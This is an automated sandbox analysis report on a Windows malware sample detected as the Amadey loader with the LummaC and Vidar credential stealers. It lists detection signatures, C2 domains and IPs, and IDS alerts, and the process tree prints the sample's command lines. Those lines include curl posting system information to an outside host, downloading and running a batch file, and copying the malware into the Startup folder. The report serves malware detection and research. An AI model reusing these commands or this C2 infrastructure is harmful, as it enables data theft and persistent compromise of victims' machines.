Edit tour

Windows Analysis Report
yiDQb6GkBq.exe

Overview

General Information

Sample name:	yiDQb6GkBq.exe renamed because original name is a hash value
Original sample name:	23a363810e5d66c620d5069ab26eb4625e899cbb2bf4d49978e1582ae100d5eb.exe
Analysis ID:	1573703
MD5:	6ced085779b2d439cab6d085699b195a
SHA1:	ad384d731162250141ef02196ebb970dd89adbe9
SHA256:	23a363810e5d66c620d5069ab26eb4625e899cbb2bf4d49978e1582ae100d5eb
Tags:	exeimmureprech-bizuser-JAMESWT_MHT
Infos:

Detection

Amadey, LummaC Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Copy itself to suspicious location via type command

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Drops PE files to the startup folder

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Gathers system information via systeminfo

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes or reads registry keys via WMI

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Startup Folder File Write

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

yiDQb6GkBq.exe (PID: 7280 cmdline: "C:\Users\user\Desktop\yiDQb6GkBq.exe" MD5: 6CED085779B2D439CAB6D085699B195A)

skotes.exe (PID: 7456 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6CED085779B2D439CAB6D085699B195A)

skotes.exe (PID: 7472 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6CED085779B2D439CAB6D085699B195A)

skotes.exe (PID: 8108 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6CED085779B2D439CAB6D085699B195A)

c7017f8470.exe (PID: 4956 cmdline: "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 5768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

c7017f8470.exe (PID: 4588 cmdline: "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

M5iFR20.exe (PID: 7104 cmdline: "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" MD5: 5950611ED70F90B758610609E2AEE8E6)

cmd.exe (PID: 7412 cmdline: cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7432 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)

tasklist.exe (PID: 7420 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

curl.exe (PID: 7464 cmdline: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5780 cmdline: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

conhost.exe (PID: 3548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7660 cmdline: cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7688 cmdline: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

conhost.exe (PID: 2016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5336 cmdline: cmd /c "C:\Users\user\AppData\Local\Temp\tmp.bat" > C:\Users\user\AppData\Local\Temp\tmp.txt MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5024 cmdline: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

conhost.exe (PID: 764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 2124 cmdline: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

conhost.exe (PID: 3732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2540 cmdline: cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6052 cmdline: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

conhost.exe (PID: 5132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

W4KLQf7.exe (PID: 7208 cmdline: "C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe" MD5: 12C766CAB30C7A0EF110F0199BEDA18B)

87538ab999.exe (PID: 7952 cmdline: "C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe" MD5: C270B2BD3DD5CBC4ECA9A2337870D80F)

6f79b29ee1.exe (PID: 3964 cmdline: "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 4164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

6f79b29ee1.exe (PID: 824 cmdline: "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

5799e5ec40.exe (PID: 504 cmdline: "C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe" MD5: DFD5F78A711FA92337010ECC028470B4)

0685f09fda.exe (PID: 2260 cmdline: "C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe" MD5: 2A78CE9F3872F5E591D643459CABE476)

95025a00c8.exe (PID: 5344 cmdline: "C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe" MD5: 4853BE4F2BB74B706EFFCC60FC06446B)

M5iFR20.exe (PID: 7852 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe" MD5: 5950611ED70F90B758610609E2AEE8E6)

cmd.exe (PID: 7868 cmdline: cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 6496 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)

tasklist.exe (PID: 2024 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["covery-mover.biz", "formy-spill.biz", "zinc-sneark.biz", "se-blurry.biz", "impend-differ.biz", "drive-connect.cyou", "print-vexer.biz", "dare-curbys.biz", "dwell-exclaim.biz"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000026.00000002.3076985915.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4fac:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000003.3038897770.000000000147D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000002.3073164628.000000000147C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000003.3014234017.0000000001479000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000003.3014504242.000000000147D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000027.00000003.3014374262.000000000147C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 5799e5ec40.exe PID: 504	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 5799e5ec40.exe PID: 504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6f79b29ee1.exe PID: 824	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6f79b29ee1.exe PID: 824	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6f79b29ee1.exe PID: 824	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.yiDQb6GkBq.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.710000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.710000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.710000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

Spreading

Sigma detected: Copy itself to suspicious location via type command

Source: Process started

Author: Joe Security: Data: Command: cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe" , CommandLine: cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe" , CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe, ParentProcessId: 7104, ParentProcessName: M5iFR20.exe, ProcessCommandLine: cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe" , ProcessId: 7660, ProcessName: cmd.exe

System Summary

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 7660, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/" , CommandLine: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/" , CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\curl.exe, NewProcessName: C:\Windows\SysWOW64\curl.exe, OriginalFileName: C:\Windows\SysWOW64\curl.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe, ParentProcessId: 7104, ParentProcessName: M5iFR20.exe, ProcessCommandLine: curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/" , ProcessId: 7464, ProcessName: curl.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:26:18.930148+0100	2028371	3	Unknown Traffic	192.168.2.4	49781	104.21.79.7	443	TCP
2024-12-12T14:26:21.305843+0100	2028371	3	Unknown Traffic	192.168.2.4	49788	104.21.79.7	443	TCP
2024-12-12T14:27:01.347340+0100	2028371	3	Unknown Traffic	192.168.2.4	49884	104.21.79.7	443	TCP
2024-12-12T14:27:07.063004+0100	2028371	3	Unknown Traffic	192.168.2.4	49900	104.21.79.7	443	TCP
2024-12-12T14:27:12.332002+0100	2028371	3	Unknown Traffic	192.168.2.4	49912	104.21.79.7	443	TCP
2024-12-12T14:27:18.898834+0100	2028371	3	Unknown Traffic	192.168.2.4	49926	104.21.79.7	443	TCP
2024-12-12T14:27:47.944098+0100	2028371	3	Unknown Traffic	192.168.2.4	50056	172.67.213.48	443	TCP
2024-12-12T14:27:53.636039+0100	2028371	3	Unknown Traffic	192.168.2.4	50073	172.67.213.48	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:26:20.233887+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49781	104.21.79.7	443	TCP
2024-12-12T14:27:03.093545+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49884	104.21.79.7	443	TCP
2024-12-12T14:27:07.778071+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49900	104.21.79.7	443	TCP
2024-12-12T14:27:48.776385+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50056	172.67.213.48	443	TCP
2024-12-12T14:27:54.664388+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50073	172.67.213.48	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:26:20.233887+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49781	104.21.79.7	443	TCP
2024-12-12T14:27:03.093545+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49884	104.21.79.7	443	TCP
2024-12-12T14:27:48.776385+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50056	172.67.213.48	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:27:07.778071+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49900	104.21.79.7	443	TCP
2024-12-12T14:27:54.664388+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50073	172.67.213.48	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:27:47.944098+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	50056	172.67.213.48	443	TCP
2024-12-12T14:27:53.636039+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	50073	172.67.213.48	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:26:15.654822+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49773	185.215.113.43	80	TCP
2024-12-12T14:26:23.062704+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49794	185.215.113.43	80	TCP
2024-12-12T14:26:35.109066+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-12T14:26:44.619114+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49852	185.215.113.43	80	TCP
2024-12-12T14:26:49.332185+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-12T14:26:56.752808+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49871	185.215.113.43	80	TCP
2024-12-12T14:27:08.329901+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49901	185.215.113.43	80	TCP
2024-12-12T14:27:18.071005+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49920	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:27:46.366070+0100	2058159	1	Domain Observed Used for C2 Detected	192.168.2.4	57892	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:27:14.730237+0100	2044247	1	Malware Command and Control Activity Detected	116.203.10.31	443	192.168.2.4	49914	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:27:12.331055+0100	2049087	1	A Network Trojan was detected	192.168.2.4	49908	116.203.10.31	443	TCP

ET MALWARE Windows TaskList Microsoft Windows DOS prompt command exit OUTBOUND

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:26:23.421428+0100	2018886	1	A Network Trojan was detected	192.168.2.4	49796	94.154.172.218	443	TCP
2024-12-12T14:27:21.936259+0100	2018886	1	A Network Trojan was detected	192.168.2.4	49940	94.154.172.218	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:27:21.085829+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49926	104.21.79.7	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:26:05.576861+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49747	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
